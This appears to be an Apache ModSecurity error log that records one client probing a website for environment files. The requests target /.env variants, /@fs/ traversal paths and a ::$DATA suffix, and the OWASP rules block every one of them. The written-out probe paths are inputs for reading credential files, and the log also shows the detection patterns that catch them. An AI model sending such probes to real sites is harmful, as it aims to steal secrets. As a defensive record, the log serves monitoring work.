[Sun Oct 25 16:35:26.811389 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKwAAABk"]
[Sun Oct 25 16:35:26.811626 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKwAAABk"]
[Sun Oct 25 16:35:26.812584 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDoukxjiHll2_888PIQAAAAw"]
[Sun Oct 25 16:35:26.812867 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDoukxjiHll2_888PIQAAAAw"]
[Sun Oct 25 16:35:26.813076 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDoukxjiHll2_888PIQAAAAw"]
[Sun Oct 25 16:35:26.823251 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDhBRkwwnkVogupUKIwAAABE"]
[Sun Oct 25 16:35:26.823356 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDhBRkwwnkVogupUKIwAAABE"]
[Sun Oct 25 16:35:26.823744 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDhBRkwwnkVogupUKIwAAABE"]
[Sun Oct 25 16:35:26.824030 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDhBRkwwnkVogupUKIwAAABE"]
[Sun Oct 25 16:35:26.825397 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDrgKC8DPM1idVOQumgAAAA8"]
[Sun Oct 25 16:35:26.825888 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDrgKC8DPM1idVOQumgAAAA8"]
[Sun Oct 25 16:35:26.826462 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5oDrgKC8DPM1idVOQumgAAAA8"]
[Sun Oct 25 16:35:26.827403 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZwAAAAY"]
[Sun Oct 25 16:35:26.831775 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZwAAAAY"]
[Sun Oct 25 16:35:26.832218 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZwAAAAY"]
[Sun Oct 25 16:35:26.834298 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDuawu2hdqh-E8Ti3VQAAAD8"]
[Sun Oct 25 16:35:26.834752 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDuawu2hdqh-E8Ti3VQAAAD8"]
[Sun Oct 25 16:35:26.834999 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDuawu2hdqh-E8Ti3VQAAAD8"]
[Sun Oct 25 16:35:26.836026 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDqr0LF-nomLKPjx58gAAAAc"]
[Sun Oct 25 16:35:26.836385 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDqr0LF-nomLKPjx58gAAAAc"]
[Sun Oct 25 16:35:26.836637 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5oDqr0LF-nomLKPjx58gAAAAc"]
[Sun Oct 25 16:35:26.842235 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDsQLj3BHFe0xVVDO6gAAAAU"]
[Sun Oct 25 16:35:26.842591 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDsQLj3BHFe0xVVDO6gAAAAU"]
[Sun Oct 25 16:35:26.842815 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDsQLj3BHFe0xVVDO6gAAAAU"]
[Sun Oct 25 16:35:26.843894 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5oDq8dg0Qe9Rh6wUUcIAAAAEU"]
[Sun Oct 25 16:35:26.844212 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5oDq8dg0Qe9Rh6wUUcIAAAAEU"]
[Sun Oct 25 16:35:26.844457 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5oDq8dg0Qe9Rh6wUUcIAAAAEU"]
[Sun Oct 25 16:35:26.856298 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDmFV96rJYXEkIA1oLAAAABk"]
[Sun Oct 25 16:35:26.856726 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDmFV96rJYXEkIA1oLAAAABk"]
[Sun Oct 25 16:35:26.856980 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDmFV96rJYXEkIA1oLAAAABk"]
[Sun Oct 25 16:35:26.858039 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIwAAAAM"]
[Sun Oct 25 16:35:26.858471 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIwAAAAM"]
[Sun Oct 25 16:35:26.858724 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIwAAAAM"]
[Sun Oct 25 16:35:26.859787 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDoukxjiHll2_888PIgAAAAw"]
[Sun Oct 25 16:35:26.860086 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDoukxjiHll2_888PIgAAAAw"]
[Sun Oct 25 16:35:26.860314 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDoukxjiHll2_888PIgAAAAw"]
[Sun Oct 25 16:35:26.863143 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5oDnWAJkvYyuEsFoLISQAAABc"]
[Sun Oct 25 16:35:26.863425 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5oDnWAJkvYyuEsFoLISQAAABc"]
[Sun Oct 25 16:35:26.863665 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5oDnWAJkvYyuEsFoLISQAAABc"]
